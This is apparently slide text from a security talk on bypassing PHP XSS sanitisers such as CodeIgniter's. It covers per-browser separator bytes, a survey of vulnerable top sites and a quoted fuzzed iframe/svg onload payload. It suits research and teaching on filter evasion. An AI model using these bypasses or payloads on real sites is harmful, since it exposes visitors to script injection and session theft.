    $non_displayables[] = '/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]+/S'; // 00-08, 11, 12, 14-31, 127

    do
    {
        $str = preg_replace($non_displayables, '', $str, -1, $count);
    }
    while ($count);

    return $str;
}
```
THE REMOVE INVISIBLE FEATURE WAS WORKING FINE BUT ...
ONE DOES NOT SIMPLY `COMMIT` :)

ONE DOES NOT

SIMPLY `COMMIT` ...

made on imgur
DEVELOPER REPLIED

Yeah, you're right ... `remove_invisible_characters()` worked, but a previous commit broke replacements for attributes: `dbd999f`

Previous commit caused side effects ...
MORE XSS BYPASSES ...
VALID SEPARATORS IN DIFFERENT BROWSERS

IEExplorer = [0x09, 0x0B, 0x0C, 0x20, 0x3B]
Chrome = [0x09, 0x20, 0x28, 0x2C, 0x3B]
Safari = [0x2C, 0x3B]
FireFox = [0x09, 0x20, 0x28, 0x2C, 0x3B]
Opera = [0x09, 0x20, 0x2C, 0x3B]
Android = [0x09, 0x20, 0x28, 0x2C, 0x3B]

https://twitter.com/kinugawamasato
ref: https://zdresearch.com/zdresearch-xss1-challenge-writeup/
VALID SEPARATORS IN DIFFERENT BROWSERS

The following characters can be used as whitespaces.

<table>
<thead>
<tr>
<th>Character</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>09</td>
<td>Horizontal Tab</td>
</tr>
<tr>
<td>0A</td>
<td>New Line</td>
</tr>
<tr>
<td>0B</td>
<td>Vertical Tab</td>
</tr>
<tr>
<td>0C</td>
<td>New Page</td>
</tr>
<tr>
<td>0D</td>
<td>Carriage Return</td>
</tr>
<tr>
<td>A0</td>
<td>Non-breaking Space</td>
</tr>
<tr>
<td>20</td>
<td>Space</td>
</tr>
</tbody>
</table>

http://websec.ca/kb/sql_injection#MySQL_Fuzzing_Obfuscation
BYPASS # 3 \UC IN ACTION

demo: http://jsfiddle.net/GTxVt/5/
Utility that is very useful for placing valid separators accordingly is:

HxD http://mh-nexus.de/en/hxd/
A Twitter post by Ashar Javed (@soaj1664ashar) discussing an XSS vector with all fuzz forms of-whitespaces- and NULL:

```
#iframe src="data:text/html,
<svg%09%0A%0B%0C%0D%A0%00%20on
toad=confirm(1);>"
```

https://twitter.com/soaj1664ashar/status/358574268386246656
IMPORTANT THING TO REMEMBER AS FAR AS CODEIGNITER IS CONCERNED ...

Only useful for HTML context ....

You **should not** use it for attribute, style, script and URL context.

@soaj1664

HTML context only.
INITIALLY DEVELOPERS WERE ALSO NOT SURE ABOUT CODEIGNITER’S USAGE

narfbg commented on Oct 4, 2013

I'm not the author of the XSS filter, but AFAIK it aims to filter everything.

https://github.com/EllisLab/Codelgniter/issues/2667
SUMMARY OF BYPASSES

Only for attendees :)
ALEXA TOP 100 SITES

I surveyed top 10 sites from the following 10 categories ...

- Adult
- Arts
- Games
- Health
- Home
- News
- Recreation
- Shopping
- Society
- Sports
XSS DISTRIBUTION IN DIFFERENT CATEGORIES (50 OUT OF 100 ARE VULNERABLE)
INJECTION DISTRIBUTION

Injection Distribution In Different Alexa Categories

Category Name

- Adult
- Arts
- Games
- Health
- Home
- News
- Recreation
- Shopping
- Society
- Sports

# of Vulnerable Sites in Given Context from Unique Top 10

- Style Context
- URL Context
- Script Context
- Attribute Context
- HTML Context
MY SHORT WRITE-UP

XSS is not going any where ...

by
Ashar Javed
https://twitter.com/soaj1664ashar

CONCLUSION

- Our large scale survey of PHP-based sanitisation routines shows SAD state of web security as far as XSS is concerned.
- The proposed attack and testing methodology is general and may be applied to other server-side languages.
- What if we automate this context-specific attack methodology and unleash automation tool on a large scale survey of deep web ... :)
SPECIAL THANKS

@padraicb

@enygma

@metromoxie
SO ANY BYPASS FOR THE CHALLENGE?
YES!
DONE WITH XSS